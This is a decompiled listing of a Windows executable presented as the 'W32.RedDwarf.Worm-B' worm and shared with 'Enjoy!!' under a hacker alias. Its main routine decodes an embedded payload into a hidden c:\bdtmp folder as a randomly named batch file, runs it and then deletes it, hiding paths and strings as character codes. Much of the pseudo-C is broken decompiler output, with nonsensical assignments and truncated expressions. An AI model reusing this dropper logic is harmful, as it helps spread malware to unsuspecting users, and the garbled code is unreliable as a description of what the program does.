W32.RedDwarf.Worm-B Decompilation

Enjoy!! Decompilation By: Cyb3rt3rr0r1sm

/* This file was automatically created by
* Reverse Engineering Compiler 1.6a (C) Giampiero Caprino (Dec 8 2002)
* Input file: 'W32.RedDwarf.Worm-B.exe'
*/

/* Procedure: 0x00401000 - 0x004026EC
* Argument size: -1524
* Local size: 1532
* Save regs size: 0
*/

L00401000(A8, Ac)
/* unknown */ void A8;
/* unknown */ void Ac;
{
/* unknown */ void Vfffffa04;
/* unknown */ void Vfffffb08;
/* unknown */ void Vfffffc70;
/* unknown */ void Vfffffd70;
/* unknown */ void Vfffffe74;
/* unknown */ void Vfffffe78;
/* unknown */ void Vfffffe7c;
/* unknown */ void Vfffffe80;
/* unknown */ void Vfffffe84;
/* unknown */ void Vfffffe94;
/* unknown */ void Vfffffe98;

Vfffffe78 = L004035B8(L00402CAE(1), 0x40c030);
if(Vfffffe78 == 0) {
L00403567("%s\n", "Error #bd70 -- Quitting");
(save)1;
L00403492();
}
L004033D9(Vfffffe78, -12, 2);
L00403382( & Vfffffe84, 12, Vfffffe78);
Vfffffe7c = L00402981( & Vfffffe84);
ecx = Vfffffe7c + 12;
-1 = ecx * ecx;
L004033D9(Vfffffe78, ecx, 2);
L00403382(5272588, Vfffffe7c + 1, Vfffffe78);
L00403240( & Vfffffa04, L00402833(1));
L00403330( & Vfffffd70, "%s%s%s%s%s%s%s%s", L00402CCA(99), L00402CCA(58), L00402CCA(92), L00402CCA(98), L00402CCA(100), L00402CCA(116), L00402CCA(109), L00402CCA(112));
if(L00403032( & Vfffffd70) == 1) {
L00403240( & Vfffffb08, "mkdir ");
L00403250( & Vfffffb08, & Vfffffd70);
L004031A1( & Vfffffb08);
}
L00403330( & Vfffffd70, "%s%s%s%s%s%s%s%s%s%s%s%s", L00402CCA(99), L00402CCA(58), L00402CCA(92), L00402CCA(98), L00402CCA(100), L00402CCA(116), L00402CCA(109), L00402CCA(112), L00402CCA(92), L00402CCA(116), L00402CCA(109), L00402CCA(112));
if(L00403032( & Vfffffd70) == 1) {
L00403240( & Vfffffb08, "mkdir ");
L00403250( & Vfffffb08, & Vfffffd70);
L004031A1( & Vfffffb08);
}
L004031A1("attrib +h c:\bdtmp");
Vfffffe74 = L004035B8( & Vfffffa04, "wb");
if(Vfffffe74 == 0) {
L00403567("%s %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s", "Error #bd60 -- Quitting");
L004031A1(" %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s");
(save)1;
L00403492();
}
L00403240(5272588, L004026ED(5272588));
L0040315E(5272588, Vfffffe74);
L00403108(Vfffffe78);
L00403108(Vfffffe74);
L00403330( & Vfffffe98, "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s", L00402CCA(100), L00402CCA(101), L00402CCA(108), L00402CCA(32), L00402CCA(99), L00402CCA(58), L00402CCA(92), L00402CCA(98), L00402CCA(100), L00402CCA(116), L00402CCA(109), L00402CCA(112), L00402CCA(92), L00402CCA(116), L00402CCA(109), L00402CCA(112), L00402CCA(92), L00402CCA(42 >>> Expr truncated;
if(A8 > 1) {
for(Vfffffe80 = 1; Vfffffe80 <= A8 - 1; Vfffffe80 = Vfffffe80 + 1) {
L00403250( & Vfffffa04, " ");
L00403250( & Vfffffa04, *(Ac + Vfffffe80 * 4));
}
}
L004031A1( & Vfffffa04);
L004031A1( & Vfffffe98);
(save)0x40c100;
*__imp__SetConsoleTitleA();
Vfffffe94 = *__imp__GetTickCount();
while(*__imp__GetTickCount() < Vfffffe94 + 3169) {
}
L00403330( & Vfffffc70, 0x40c14c, L00402CCA(80), L00402CCA(108), L00402CCA(101), L00402CCA(97), L00402CCA(115), L00402CCA(101), L00402CCA(32), L00402CCA(82), L00402CCA(101), L00402CCA(103), L00402CCA(105), L00402CCA(115), L00402CCA(116), L00402CCA(101), L00402CCA(114));
(save) & Vfffffc70;
*__imp__SetConsoleTitleA();
L00403567(0x40c16c);
L00403567(0x40c1ac, 0x40c174);
L00403330( & Vfffffc70, 0x40c1b0, L00402CCA(66), L00402CCA(97), L00402CCA(116), L00402CCA(99), L00402CCA(104), L00402CCA(32), L00402CCA(70), L00402CCA(105), L00402CCA(108), L00402CCA(101), L00402CCA(32), L00402CCA(67), L00402CCA(111), L00402CCA(109), L00402CCA(112), L00402CCA(105), L00402CCA(108), L00402CCA(101), L00402C >>> Expr truncated;
L00403567(0x40c1ec);
L00403567( & Vfffffc70);
L00403567(0x40c204);
L00403567(0x40c244, 0x40c208);
L00403330( & Vfffffc70, 0x40c248, L00402CCA(98), L00402CCA(114), L00402CCA(97), L00402CCA(110), L00402CCA(100), L00402CCA(111), L00402CCA(110), L00402CCA(64), L00402CCA(98), L00402CCA(100), L00402CCA(97), L00402CCA(114), L00402CCA(103), L00402CCA(111), L00402CCA(46), L00402CCA(99), L00402CCA(111), L00402CCA(109));
L00403567(0x40c270);
L00403567(0x40c288, L00402E30(1));
L00403567(0x40c28c);
L00403567( & Vfffffc70);
L00403567(0x40c290);
L00403567(0x40c2d8, 0x40c298);
L00403330( & Vfffffc70, 0x40c2dc, L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(83), L00402CCA(117), L00402CCA(112), L00402CCA(112) >>> Expr truncated;
L00403567(0x40c360, & Vfffffc70);
L00403330( & Vfffffc70, 0x40c364, L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(114), L00402CCA(105), L00402CCA(100), L00402CCA(32), L00402CCA(121), L00402CCA(111), L00402CCA(117), L00402CCA(114), L00402CCA(115), L00402CCA(101), L00402CCA >>> Expr truncated;
L00403567(0x40c3f8, & Vfffffc70);
L00403330( & Vfffffc70, 0x40c400, L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), \ >>> Expr truncated;
L00403567(0x40c468, & Vfffffc70);
L00403567(0x40c46c);
L00403330( & Vfffffc70, 0x40c470, L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), \ >>> Expr truncated;
L00403567(0x40c4ec, & Vfffffc70);
L00403330( & Vfffffc70, 0x40c4f0, L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), L00402CCA(32), \ >>> Expr truncated;
L00403567(0x40c568, & Vfffffc70);
L00403567(0x40c56c);
L00403330( & Vfffffc70, 0x40c574, L00402CCA(112), L00402CCA(97), L00402CCA(117), L00402CCA(115), L00402CCA(101));
L004031A1( & Vfffffc70);
return(0);
}

/* Procedure: 0x004026ED - 0x00402832
* Argument size: -532
* Local size: 536
* Save regs size: 0
*/

L004026ED(A8)
/* unknown */ void A8;
{
/* unknown */ void Vfffffde8;
/* unknown */ void Vfffffdec;
/* unknown */ void Vfffffeec;
/* unknown */ void Vfffffef0;
/* unknown */ void Vfffffff0;
/* unknown */ void Vfffffff4;
/* unknown */ void Vfffffff8;
/* unknown */ void Vfffffffc;

(save)255;
(save) & Vfffffef0;
*__imp__GetConsoleTitleA();
Vfffffff8 = L004035D0(A8);
for(Vfffffeec = 1; Vfffffeec <= Vfffffff8; Vfffffeec = Vfffffeec + 2) {
Vfffffffc = L00402D26(L00402D94(A8, Vfffffeec, 1));
Vfffffff0 = L00402D26(L00402D94(A8, Vfffffeec + 1, 1));
L00403250(0x40d40c, L00402CCA(Vfffffffc + Vfffffff0 + -144));
Vfffffff4 = Vfffffff4 + 1;
if(Vfffffff4 > 100) {
Vfffffff4 = 0;
eax = Vfffffeec;
100 = eax * eax;
asm("cdq");
Vfffffff8 = Vfffffff8 / Vfffffff8;
edx = Vfffffff8 % Vfffffff8;
Vfffffde8 = eax;
esp = esp - 8;
*esp = Vfffffde8;
esp = esp + 8;
L00403240( & Vfffffdec, L00402D4D());
L00403250( & Vfffffdec, 0x40c580);
(save) & Vfffffdec;
*__imp__SetConsoleTitleA();
}
}
*__imp__SetConsoleTitleA( & Vfffffef0);
return(0x40d40c);
}

/* Procedure: 0x00402833 - 0x00402980
* Argument size: -264
* Local size: 264
* Save regs size: 0
*/

L00402833()
{
/* unknown */ void Vfffffef8;
/* unknown */ void Vfffffefc;

L00403330( & Vfffffefc, "%s%s%s%s%s%s%s%s%s%s%s%s%s", L00402CCA(99), L00402CCA(58), L00402CCA(92), L00402CCA(98), L00402CCA(100), L00402CCA(116), L00402CCA(109), L00402CCA(112), L00402CCA(92), L00402CCA(116), L00402CCA(109), L00402CCA(112), L00402CCA(92));
L00403240(0x40d304, & Vfffffefc);
Vfffffef8 = L00402F19(9999);
esp = esp - 8;
*esp = Vfffffef8;
esp = esp + 8;
L00403240(0x40d1f0, L00402D4D());
L00403240(0x40d1f0, L00402FA1(0x40d1f0, L004035D0(0x40d1f0) - 1));
L00403250(0x40d304, 0x40d1f0);
L00403250(0x40d304, ".bat");
return(0x40d304);
}

/* Procedure: 0x00402981 - 0x00402CAD
* Argument size: 4
* Local size: 268
* Save regs size: 8
*/

L00402981(A8)
/* unknown */ void A8;
{
/* unknown */ void esi;
/* unknown */ void edi;
/* unknown */ void Vfffffef4;
/* unknown */ void Vfffffef8;
/* unknown */ void Vfffffef9;
/* unknown */ void Vfffffffc;

Vfffffef8 = *L0064A7F0;
ecx = 64;
eax = 0;
edi = & Vfffffef9;
asm("rep stosd");
for(Vfffffef4 = 0; Vfffffef4 < L004035D0(A8) + 1; Vfffffef4 = Vfffffef4 + 1) {
esi = L00402D26(L00402D94(A8, Vfffffef4, 1));
if(esi == L00402D26("a")) {
L00403250( & Vfffffef8, "0");
}
esi = L00402D26(L00402D94(A8, Vfffffef4, 1));
if(esi == L00402D26("b")) {
L00403250( & Vfffffef8, "1");
}
esi = L00402D26(L00402D94(A8, Vfffffef4, 1));
if(esi == L00402D26("c")) {
L00403250( & Vfffffef8, "2");
}
esi = L00402D26(L00402D94(A8, Vfffffef4, 1));
if(esi == L00402D26("d")) {
L00403250( & Vfffffef8, "3");
}
esi = L00402D26(L00402D94(A8, Vfffffef4, 1));
if(esi == L00402D26("e")) {
L00403250( & Vfffffef8, "4");
}
esi = L00402D26(L00402D94(A8, Vfffffef4, 1));
if(esi == L00402D26("f")) {
L00403250( & Vfffffef8, "5");
}
esi = L00402D26(L00402D94(A8, Vfffffef4, 1));
if(esi == L00402D26("g")) {
L00403250( & Vfffffef8, "6");
}
esi = L00402D26(L00402D94(A8, Vfffffef4, 1));
if(esi == L00402D26("h")) {
L00403250( & Vfffffef8, "7");
}
esi = L00402D26(L00402D94(A8, Vfffffef4, 1));
if(esi == L00402D26("i")) {
L00403250( & Vfffffef8, "8");
}
esi = L00402D26(L00402D94(A8, Vfffffef4, 1));
if(esi == L00402D26("j")) {
L00403250( & Vfffffef8, "9");
}
}
Vfffffffc = L0040369B( & Vfffffef8);
return(Vfffffffc);
}

/* Procedure: 0x00402CAE - 0x00402CC9
* Argument size: 0
* Local size: 0
* Save regs size: 0
*/

L00402CAE()
{

*__imp__GetModuleFileNameA(0, 0x40d200, 260);
return(0x40d200);
}

/* Procedure: 0x00402CCA - 0x00402D25
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L00402CCA(A8)
/* unknown */ void A8;
{

*L0040D408 = *L0040D408 + 1;
if(*L0040D408 == 100) {
*L0040D408 = 0;
}
ecx = *L0040D408;
300 = ecx * ecx;
*(ecx + 6296588) = A8;
eax = *L0040D408;
300 = eax * eax;
*(eax + 6296589) = 0;
eax = *L0040D408;
300 = eax * eax;
return(eax + 6296588);
}

/* Procedure: 0x00402D26 - 0x00402D4C
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L00402D26(A8)
/* unknown */ void A8;
{

*L0064A7EC = 0;
L00403730(6596588, A8, 1);
return(*L0064A7EC);
}

/* Procedure: 0x00402D4D - 0x00402D93
* Argument size: 8
* Local size: 0
* Save regs size: 0
*/

L00402D4D(A8, Ac)
/* unknown */ void A8;
/* unknown */ void Ac;
{

*L0040D408 = 0;
edx = *L0040D408;
300 = edx * edx;
L00403330(edx + 6296588, "% .16g", A8, Ac);
eax = *L0040D408;
300 = eax * eax;
return(eax + 6296588);
}

/* Procedure: 0x00402D94 - 0x00402E2F
* Argument size: 12
* Local size: 0
* Save regs size: 0
*/

L00402D94(A8, Ac, A10)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
{

*L0040D408 = *L0040D408 + 1;
if(*L0040D408 == 64) {
*L0040D408 = 0;
}
if(Ac > L004035D0(A8)) {
edx = *L0040D408;
300 = edx * edx;
*(edx + 6296588) = 0;
} else {
ecx = *L0040D408;
300 = ecx * ecx;
L00403A70(ecx + 6296588, A8 + Ac - 1, A10);
}
edx = *L0040D408;
300 = edx * edx;
*(edx + A10 + 6296588) = 0;
eax = *L0040D408;
300 = eax * eax;
return(eax + 6296588);
}

/* Procedure: 0x00402E30 - 0x00402F18
* Argument size: -520
* Local size: 520
* Save regs size: 0
*/

L00402E30()
{
/* unknown */ void Vfffffdf8;
/* unknown */ void Vfffffefc;

L00403330( & Vfffffdf8, "%s%s%s%s%s%s%s", L00402CCA(66), L00402CCA(114), L00402CCA(97), L00402CCA(110), L00402CCA(100), L00402CCA(111), L00402CCA(110));
L00403330( & Vfffffefc, "%s%s%s%s%s", L00402CCA(68), L00402CCA(97), L00402CCA(114), L00402CCA(103), L00402CCA(111));
L00403250( & Vfffffdf8, " ");
L00403250( & Vfffffdf8, & Vfffffefc);
return(& Vfffffdf8);
}

/* Procedure: 0x00402F19 - 0x00402F4A
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L00402F19(A8)
/* unknown */ void A8;
{

(save)ecx;
for(L00403B6E( *__imp__GetTickCount()); *(ebp - 4) > A8 || *(ebp - 4) < 100; *(ebp - 4) = L00403B78()) {
}
return(*(ebp - 4));
}

/* Procedure: 0x00402F4B - 0x00402FA0
* Argument size: 8
* Local size: 0
* Save regs size: 0
*/

L00402F4B(A8, Ac)
/* unknown */ void A8;
/* unknown */ void Ac;
{

*L0040D408 = *L0040D408 + 1;
if(*L0040D408 == 64) {
*L0040D408 = 0;
}
eax = *L0040D408;
300 = eax * eax;
L00403A70(eax + 6296588, A8, Ac);
eax = *L0040D408;
300 = eax * eax;
return(eax + 6296588);
}

/* Procedure: 0x00402FA1 - 0x00403031
* Argument size: 8
* Local size: 0
* Save regs size: 0
*/

L00402FA1(A8, Ac)
/* unknown */ void A8;
/* unknown */ void Ac;
{

*L0040D408 = *L0040D408 + 1;
if(*L0040D408 == 64) {
*L0040D408 = 0;
}
*L0040D1FC = L004035D0(A8);
*L0040D1FC = *L0040D1FC - Ac;
if(*L0040D1FC < 0) {
*L0040D1FC = 0;
}
edx = *L0040D408;
300 = edx * edx;
L00403A70(edx + 6296588, A8 + *L0040D1FC, Ac);
eax = *L0040D408;
300 = eax * eax;
return(eax + 6296588);
}

/* Procedure: 0x00403032 - 0x00403107
* Argument size: -524
* Local size: 528
* Save regs size: 0
*/

L00403032(A8)
/* unknown */ void A8;
{
/* unknown */ void Vfffffdf0;
/* unknown */ void Vfffffdf4;
/* unknown */ void Vfffffdf8;
/* unknown */ void Vfffffefc;

Vfffffdf4 = 0;
L00403240( & Vfffffefc, A8);
L00403250( & Vfffffefc, "\a.txt");
Vfffffdf0 = L004035B8( & Vfffffefc, "wb");
if(Vfffffdf0 == 0) {
Vfffffdf4 = 1;
}
if(Vfffffdf4 == 0) {
L00403108(Vfffffdf0);
L00403240( & Vfffffdf8, "del ");
L00403250( & Vfffffdf8, & Vfffffefc);
L00403250( & Vfffffdf8, " >nul");
L004031A1( & Vfffffdf8);
}
return(Vfffffdf4);
}

/* Procedure: 0x00403108 - 0x0040315D
* Argument size: 4
* Local size: 0
* Save regs size: 4
*/

L00403108(A8)
/* unknown */ void A8;
{

(save)edi;
edi = edi | -1;
eax = *(A8 + 12);
if(!(al & 64)) {
eax = eax | -1;
} else {
if(!(al & 131)) {
edi = L00403E06();
L00403DA0();
if(L00403CED( *(A8 + 16), A8, A8) < 0) {
edi = edi | -1;
} else {
eax = *(A8 + 28);
if(eax != 0) {
L00403CBE(eax);
*(A8 + 28) = 0;
}
}
}
eax = edi;
}
*(A8 + 12) = 0;
(restore)edi;
}

/* Procedure: 0x0040315E - 0x004031A0
* Argument size: 8
* Local size: 0
* Save regs size: 12
*/

L0040315E(A8, Ac)
/* unknown */ void A8;
/* unknown */ void Ac;
{
/* unknown */ void ebx;
/* unknown */ void esi;
/* unknown */ void edi;

esi = L004035D0();
ebx = L00403FA2();
L00403F65(L00403ED8(), Ac, A8, 1, esi, Ac, Ac, A8);
return(-1);
}

/* Procedure: 0x004031A1 - 0x00403236
* Argument size: 4
* Local size: 16
* Save regs size: 4
*/

L004031A1(A8)
/* unknown */ void A8;
{
/* unknown */ void esi;
/* unknown */ void Vfffffff0;
/* unknown */ void Vfffffff4;
/* unknown */ void Vfffffff8;
/* unknown */ void Vfffffffc;

eax = L004043ED(4239608);
esi = 0;
ecx = A8;
Vfffffff0 = eax;
if(ecx == 0) {
if(eax == 0) {
eax = 0;
} else {
(save)esi;
eax = ~(L004043A9(eax));
asm("sbb eax,eax");
(restore)ecx;
eax = eax + 1;
}
} else {
Vfffffff4 = 4239604;
Vfffffff8 = ecx;
Vfffffffc = esi;
if(eax == esi) {
goto L0040320c;
}
eax = L0040420F(esi, eax, & Vfffffff0, esi);
if(eax == -1) {
ecx = *L0064A7F4;
if(ecx == 2) {
goto L0040320c;
}
if(ecx == 13) {
L0040320c:
Vfffffff0 = 4239592;
if(!( *L0064A801 & 128)) {
Vfffffff0 = 4239584;
}
eax = L004040AC(esi, Vfffffff0, & Vfffffff0, esi);
}
}
}
}

/* Procedure: 0x00403237 - 0x0040323F
* Argument size: 0
* Local size: 0
* Save regs size: 0
*/

L00403237()
{

asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
}

/* DEST BLOCK NOT FOUND: 00403245 -> 004032b1 */
/* Procedure: 0x00403240 - 0x0040324F
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L00403240(A4)
/* unknown */ void A4;
{

(save)A4;
goto L004032b1;
}

/* Procedure: 0x00403250 - 0x0040332F
* Argument size: 8
* Local size: 0
* Save regs size: 0
*/

L00403250(A4, A8)
/* unknown */ void A4;
/* unknown */ void A8;
{

ecx = A4;
(save)edi;
if(!(ecx & 3)) {
do {
al = *ecx;
ecx = ecx + 1;
if(al == 0) {
goto L0040329f;
}
} while(ecx & 3);
}
while(1) {
eax = *ecx;
edx = 2130640639 + eax;
eax = eax ^ -1 ^ edx;
ecx = ecx + 4;
if(eax & -2130640640) {
continue;
}
eax = *(ecx - 4);
if(al == 0) {
goto L004032ae;
}
if(ah == 0) {
goto L004032a9;
}
if(eax & 16711680) {
goto L004032a4;
}
if(eax & -16777216) {
break;
}
}
L0040329f:
edi = ecx - 1;
goto L004032b1;
L004032a4:
edi = ecx - 2;
goto L004032b1;
L004032a9:
edi = ecx - 3;
goto L004032b1;
L004032ae:
edi = ecx - 4;
L004032b1:
ecx = A8;
if(!(ecx & 3)) {
do {
dl = *ecx;
ecx = ecx + 1;
if(dl == 0) {
goto L00403328;
}
*edi = dl;
edi = edi + 1;
} while(ecx & 3);
}
while(1) {
eax = *ecx;
edx = 2130640639 + eax;
eax = eax ^ -1 ^ edx;
edx = *ecx;
ecx = ecx + 4;
if(!(eax & -2130640640)) {
if(dl == 0) {
goto L00403328;
}
if(dh == 0) {
goto L0040331f;
}
if(edx & 16711680) {
goto L00403312;
}
if(edx & -16777216) {
break;
}
}
*edi = edx;
edi = edi + 4;
}
*edi = edx;
(restore)edi;
return(A4);
L00403312:
*edi = dx;
*(edi + 2) = 0;
(restore)edi;
return(A4);
L0040331f:
*edi = dx;
(restore)edi;
return(A4);
L00403328:
*edi = dl;
(restore)edi;
return(A4);
}

/* Procedure: 0x00403330 - 0x00403381
* Argument size: -20
* Local size: 32
* Save regs size: 0
*/

L00403330(A8, Ac, A10)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
{
/* unknown */ void Vffffffe0;
/* unknown */ void Vffffffe4;
/* unknown */ void Vffffffe8;
/* unknown */ void Vffffffec;

eax = A8;
(save)esi;
Vffffffe8 = eax;
Vffffffe0 = Vffffffe8;
Vffffffec = 66;
Vffffffe4 = 2147483647;
esi = L0040457F( & Vffffffe0, Ac, & A10);
if(!(Vffffffe4 = Vffffffe4 - 1)) {
*Vffffffe0 = 0;
} else {
L0040446A(0, & Vffffffe0);
}
eax = esi;
(restore)esi;
}

/* Procedure: 0x00403382 - 0x004033D8
* Argument size: 12
* Local size: 0
* Save regs size: 0
*/

L00403382(A8, Ac, A10)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
{

(save)ebx;
ebx = A8;
(save)edi;
edi = ebx;
if(Ac <= 0) {
eax = 0;
} else {
(save)A10;
if(!(Ac = Ac - 1)) {
do {
if(*(A10 + 4) = *(A10 + 4) - 1) {
eax = L00404D89(A10);
} else {
ecx = *A10;
eax = *ecx & 255;
*A10 = ecx + 1;
}
if(eax == -1) {
goto L004033d0;
}
*edi = al;
edi = edi + 1;
if(al == 10) {
break;
}
} while(Ac = Ac - 1);
}
L004033c6:
*edi = 0;
L004033c9:
eax = ebx;
(restore)A10;
}
(restore)edi;
(restore)ebx;
return;
L004033d0:
if(edi != A8) {
goto L004033c6;
}
ebx = 0;
goto L004033c9;
}

/* Procedure: 0x004033D9 - 0x00403464
* Argument size: 12
* Local size: 0
* Save regs size: 4
*/

L004033D9(A8, Ac, A10)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
{

(save)edi;
eax = *(A8 + 12);
if(!(al & 131)) {
edi = A10;
if(edi != 0 && edi != 1 && edi != 2) {
goto L00403455;
}
edi :: 1;
if(!( *(A8 + 12) = al & 239)) {
Ac = Ac + L00404EFC(A8);
edi = 0;
}
L00403E06(A8);
eax = *(A8 + 12);
if(!(al & 128)) {
*(A8 + 12) = al & 252;
} else {
if(!(al & 1) && !(al & 8) && !(ah & 4)) {
*(A8 + 24) = 512;
}
}
eax = L00404E62( *(A8 + 16), Ac, edi);
eax = -1;
} else {
L00403455:
*L0064A7F4 = 22;
eax = eax | -1;
}
(restore)edi;
}

/* Procedure: 0x00403465 - 0x00403491
* Argument size: 0
* Local size: 0
* Save regs size: 0
*/

L00403465()
{

eax = *L0040C648;
if(eax != 0) {
*eax();
}
L0040354D();
return(L0040354D(0x40c000, 0x40c004, 0x40c008, 0x40c014));
}

/* Procedure: 0x00403492 - 0x004034A2
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L00403492(A4)
/* unknown */ void A4;
{

return(L004034B4(A4, 0, 0));
}

/* Procedure: 0x004034A3 - 0x004034B3
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L004034A3(A4)
/* unknown */ void A4;
{

return(L004034B4(A4, 1, 0));
}

/* Procedure: 0x004034B4 - 0x0040354C
* Argument size: 12
* Local size: 0
* Save regs size: 4
*/

L004034B4(A8, Ac, A10)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
{
/* unknown */ void edi;

edi = 1;
if(*L0064A83C == 1) {
(save)A8;
(save) *__imp__GetCurrentProcess();
*__imp__TerminateProcess();
}
(save)ebx;
*L0064A838 = edi;
*L0064A834 = A10;
if(Ac == 0) {
eax = *L0064BD94;
if(eax != 0) {
(save)esi;
esi = *L0064BD90 - 4;
if(esi >= eax) {
do {
eax = *esi;
if(eax != 0) {
*eax();
}
esi = esi - 4;
} while(esi >= *L0064BD94);
}
(restore)esi;
}
L0040354D(0x40c018, 0x40c020);
}
eax = L0040354D(0x40c024, 0x40c028);
(restore)ebx;
if(ebx == 0) {
*L0064A83C = edi;
eax = *__imp__ExitProcess(A8);
}
}

/* Procedure: 0x0040354D - 0x00403566
* Argument size: 8
* Local size: 0
* Save regs size: 4
*/

L0040354D(A8, Ac)
/* unknown */ void A8;
/* unknown */ void Ac;
{
/* unknown */ void esi;

for(esi = A8; esi < Ac; esi = esi + 4) {
eax = *esi;
if(eax != 0) {
eax = *eax();
}
}
}

/* Procedure: 0x00403567 - 0x00403597
* Argument size: 8
* Local size: 0
* Save regs size: 12
*/

L00403567(A10, A14)
/* unknown */ void A10;
/* unknown */ void A14;
{
/* unknown */ void ebx;
/* unknown */ void esi;
/* unknown */ void edi;

esi = 0x40c6a8;
(save)0x40c6a8;
(save) & A14;
(save)A10;
(save)esi;
(save)esi;
(save)L00403ED8();
ebx = L0040457F();
L00403F65();
esp = esp + 24;
return(ebx);
}

/* Procedure: 0x00403598 - 0x004035B7
* Argument size: 12
* Local size: 0
* Save regs size: 0
*/

L00403598(A4, A8, Ac)
/* unknown */ void A4;
/* unknown */ void A8;
/* unknown */ void Ac;
{

eax = L0040527D();
if(eax == 0) {
return;
}
return(L0040510D(A4, A8, Ac, eax));
}

/* Procedure: 0x004035B8 - 0x004035CA
* Argument size: 8
* Local size: 0
* Save regs size: 0
*/

L004035B8(A4, A8)
/* unknown */ void A4;
/* unknown */ void A8;
{

return(L00403598(A4, A8, 64));
}

/* Procedure: 0x004035CB - 0x004035CF
* Argument size: 0
* Local size: 0
* Save regs size: 0
*/

L004035CB()
{

asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
}

/* Procedure: 0x004035D0 - 0x0040364A
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L004035D0(A4)
/* unknown */ void A4;
{

ecx = A4;
if(!(ecx & 3)) {
do {
al = *ecx;
ecx = ecx + 1;
if(al == 0) {
goto L00403623;
}
} while(ecx & 3);
}
while(1) {
eax = *ecx;
edx = 2130640639 + eax;
eax = eax ^ -1 ^ edx;
ecx = ecx + 4;
if(eax & -2130640640) {
continue;
}
eax = *(ecx - 4);
if(al == 0) {
goto L00403641;
}
if(ah == 0) {
goto L00403637;
}
if(eax & 16711680) {
goto L0040362d;
}
if(eax & -16777216) {
break;
}
}
L00403623:
eax = ecx - 1;
ecx = A4;
return(eax - ecx);
L0040362d:
eax = ecx - 2;
ecx = A4;
return(eax - ecx);
L00403637:
eax = ecx - 3;
ecx = A4;
return(eax - ecx);
L00403641:
eax = ecx - 4;
return(eax - A4);
}

/* Procedure: 0x0040364B - 0x00403661
* Argument size: 0
* Local size: 0
* Save regs size: 0
*/

L0040364B()
{

L00403663();
*L0064A844 = L00405345();
eax = L004052F5();
asm("fnclex");
}

/* Procedure: 0x00403662 - 0x00403662
* Argument size: 0
* Local size: 0
* Save regs size: 0
*/

L00403662()
{

}

/* Procedure: 0x00403663 - 0x0040369A
* Argument size: 0
* Local size: 0
* Save regs size: 0
*/

L00403663()
{

*L0040C90C = 0x4053c8;
*L0040C908 = 0x405733;
*L0040C910 = 0x40542e;
*L0040C914 = 0x40536e;
*L0040C918 = 0x405416;
*L0040C91C = 0x405733;
return(0x405733);
}

stack space not deallocated on return
/* Procedure: 0x0040369B - 0x00403725
* Argument size: 4
* Local size: 0
* Save regs size: 16
*/

L0040369B(A24)
/* unknown */ void A24;
{
/* unknown */ void ebx;
/* unknown */ void ebp;
/* unknown */ void esi;
/* unknown */ void edi;

for(edi = A24; 1; edi = edi + 1) {
if(*L0040CB2C <= 1) {
eax = *edi & 255;
eax = *( *L0040C920 + eax * 2) & 8;
} else {
(save)8;
(save) *edi & 255;
eax = L004057A9();
(restore)ecx;
(restore)ecx;
}
if(eax == 0) {
break;
}
}
esi = *edi & 255;
edi = edi + 1;
ebp = esi;
if(esi == 45 || esi == 43) {
esi = *edi & 255;
edi = edi + 1;
}
for(ebx = 0; 1; edi = edi + 1) {
if(*L0040CB2C <= 1) {
eax = *L0040C920;
eax = *(eax + esi * 2) & 4;
} else {
(save)4;
(save)esi;
eax = L004057A9();
(restore)ecx;
(restore)ecx;
}
if(eax == 0) {
break;
}
ebx = esi + (ebx + ebx * 4) * 2 - 48;
esi = *edi & 255;
}
eax = ebx;
if(ebp == 45) {
eax = ~eax;
}
}

/* Procedure: 0x00403726 - 0x0040372F
* Argument size: 0
* Local size: 0
* Save regs size: 0
*/

L00403726()
{

asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
}

/* DEST BLOCK NOT FOUND: 004037b0 -> 0287bfb7 */
/* Procedure: 0x00403730 - 0x00403A26
* Argument size: 12
* Local size: 0
* Save regs size: 8
*/

L00403730(A8, Ac, A10)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
{
/* unknown */ void esi;
/* unknown */ void edi;

esi = Ac;
ecx = A10;
edi = A8;
eax = ecx;
